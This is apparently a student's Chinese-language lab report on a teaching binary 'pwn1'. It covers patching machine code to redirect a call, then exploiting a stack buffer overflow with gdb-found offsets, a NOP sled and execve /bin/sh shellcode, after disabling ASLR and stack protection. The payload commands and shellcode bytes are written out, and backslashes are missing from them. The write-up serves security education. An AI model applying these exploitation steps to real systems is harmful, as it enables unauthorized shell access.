目标一:熟悉机器码
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
先使用file指令查看pwn1文件类型,类型为32位ELF可执行文件
┌──(liyiming㉿liyiming)-[~/桌面/20181202exp1]
└─$ file pwn1
pwn1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb55ff390641d9430666f4c373725241894ef5a5, not stripped
对pwn1进行反汇编,查看机器码
┌──(liyiming㉿liyiming)-[~/桌面/20181202exp1]
└─$ objdump -d pwn1 | more
...
8048307: 74 05 je 804830e <_init+0x1e>
...
8048326: ff 25 08 a0 04 08 jmp *0x804a008
...
80483ca: 83 f8 06 cmp $0x6,%eax
...
8048406: 75 01 jne 8048409 <register_tm_clones+0x19>
...
8048534: 90 nop
目标二:反汇编与十六进制编程器
掌握反汇编与十六进制编程器
使用objdump指令进行反汇编
使用十六进制查看器进行反汇编
-
安装十六进制查看器
┌──(liyiming㉿liyiming)-[~/桌面/20181202exp1] └─$ sudo apt-get install wxhexeditor ┌──(liyiming㉿liyiming)-[~/桌面/20181202exp1] └─$ wxHexEditor
测试打开成功
-
在wxHexEditor中打开pwn1
目的三:修改机器指令改变程序执行流程
能正确修改机器指令改变程序执行流程
1.反汇编查看命令
pwn1进行反汇编
可以观察到:
- getshell函数的地址是804847d
- foo函数的地址8048491
在main函数中的call指令后将跳转至函数foo的地址8048491,此时EIP指向的下条指令地址应为80484ba。所以想要让main函数调用getshell函数,只需要call之后的值进行修改。
查看call的机器码e8 d7 ff ff ff
,其中e8为跳转之意,则修改d7即可使程序执行getshell,计算foo与getshell在内存地址的差值为14,则用d7减14得c3。
2.修改汇编代码
vim pwn1
按esc进入命令模式,输入:%!xxd
,将显示模式切换为16进制模式
查找要修改的内容:/d7
按i
进入插入模式,将d7改为c3
:%!xxd -r
转换十六进制为原格式, :wq
保存,退出,验证修改结果
修改成功
目的四:构造payload进行bof攻击
能正确构造payload进行bof攻击
1.通过构造输入参数,造成BOF攻击,改变程序执行流
对pwn1程序进行反汇编,查看其程序执行流程
objdump -d pwn1
-
目标是触发getsell函数
-
该可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞
-
这里读入字符串,但系统只预留了字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址
-
确认输入字符串哪几个字符会覆盖到返回地址
-
选择 “ 1111111122222222333333334444444455555555 ” 来测试,容易标识使用
-
gdb pwn1
进入调试页面
-
使用命令
info r
查看各个寄存器的值
-
此时注意到eip的值为ASCII的5,即在输入字符串的“5”的部分发生溢出。所以尝试将5的部分改为其他数字进行比对
-
将“55555555”改成“12345678”,输入info r查看寄存器注意寄存器eip的值,如图“0x34333231 0x34333231”,换算成ASCⅡ码刚好是1234。1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。
-
只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。
-
接下来要确认下字节序,简单说是输入,还是输入11111111222222223333333344444444x08x04x84x7d,还是11111111222222223333333344444444x7dx84x04x08。
-
对比之前
eip 0x34333231 0x34333231
,正确应用输入1111111222222223333333344444444x7dx84x04x08 -
由于我们没法通过键盘输入x7dx84x04x08这样的16进制值,所以先生成包括这样字符串的一个文件。x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
-
使用16进制查看指令
xxd
查看input文件的内容是否如预期。
-
将input的输入,通过管道符“|”,作为pwn1的输入。
![ages/image-20210310214614098.png)
cat:用于连接文件并打印到标准输出设备上,在此处是将input中的内容作为输入存放在cat中,并与此为输入执行pwn1中的foo函数。注意,必须使用()确保调用pwn1前的逻辑关系。
- 测试成功
2.注入shellcode并执行
-
准备一段shellcode,这里参考实验指导中给出的shellcode(gitee中的链接已经没有了)
x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80
-
使用
execstack -s pwn1
设置堆栈可执行,此处建议先进行虚拟机快照,以免出现严重问题
2021版kali需安装execstack,参考班课文件
-
使用命令
execstack -q pwn1
查询文件堆栈是否可执行
-
使用命令
more /proc/sys/kernel/randomize_va_space echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 more /proc/sys/kernel/randomize_va_space
-
构造要注入的payload
-
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr
-
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面
-
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
-
我们这个buf够放这个shellcode
-
结构为:anything+retaddr+nops+shellcode
-
nop一为是了填充,二是作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
-
使用命令
perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
-
上面最后的
x4x3x2x1
将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。特别提醒:最后一个字符千万不能是x0a(不自动回车)。不然下面的操作就做不了了。
-
接下来我们来确定x4x3x2x1到底该填什么。
打开一个终端注入这段攻击buf:
-
再打开另外一个终端,用gdb来调试pwn1这个进程,使用命令
ps -ef | grep pwn1
-
找到pwn1的进程号是: 193512
-
启动gdb调试这个进程
-
通过设置断点,来查看注入buf的内存地址
disassemble foo
-
断在ret,这时注入的东西都在堆栈上了,ret完,就跳到我们覆盖的retaddr那个地方了
-
在另外一个终端中按下回车,这就是前面为什么不能以x0a来结束 input_shellcode的原因。
-
使用
break *0x080484ae
设置断点,并输入c继续运行。在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp
查找地址
-
使用
x/16x 0xffffd57c
查看其存放内容,看到了01020304
,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是 0xffffd580。这里显示的一个地址可以存储32字节数据,但此处eip地址已经占用了4字节,所以从第28位置开始的地方是shellcode的地址。即0xd57c+0x04=0xd580
-
将返回地址改为
0xffffd580
-
再执行程序,果不其然运行失败
重新开始
-
结构为:anything+retaddr+nops+shellcode
-
重新构建 shellcode
perl -e 'print "A" x 32;print "x??x??x??x??x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x80xd5xffxffx00"' > input_shellcode
-
与之前的步骤相同,在gdb中调试寻找?处应填的地址
-
在
0xffffd580
处找到了0x90909090
,再将??处的地址进行修改
-
执行程序
-
成功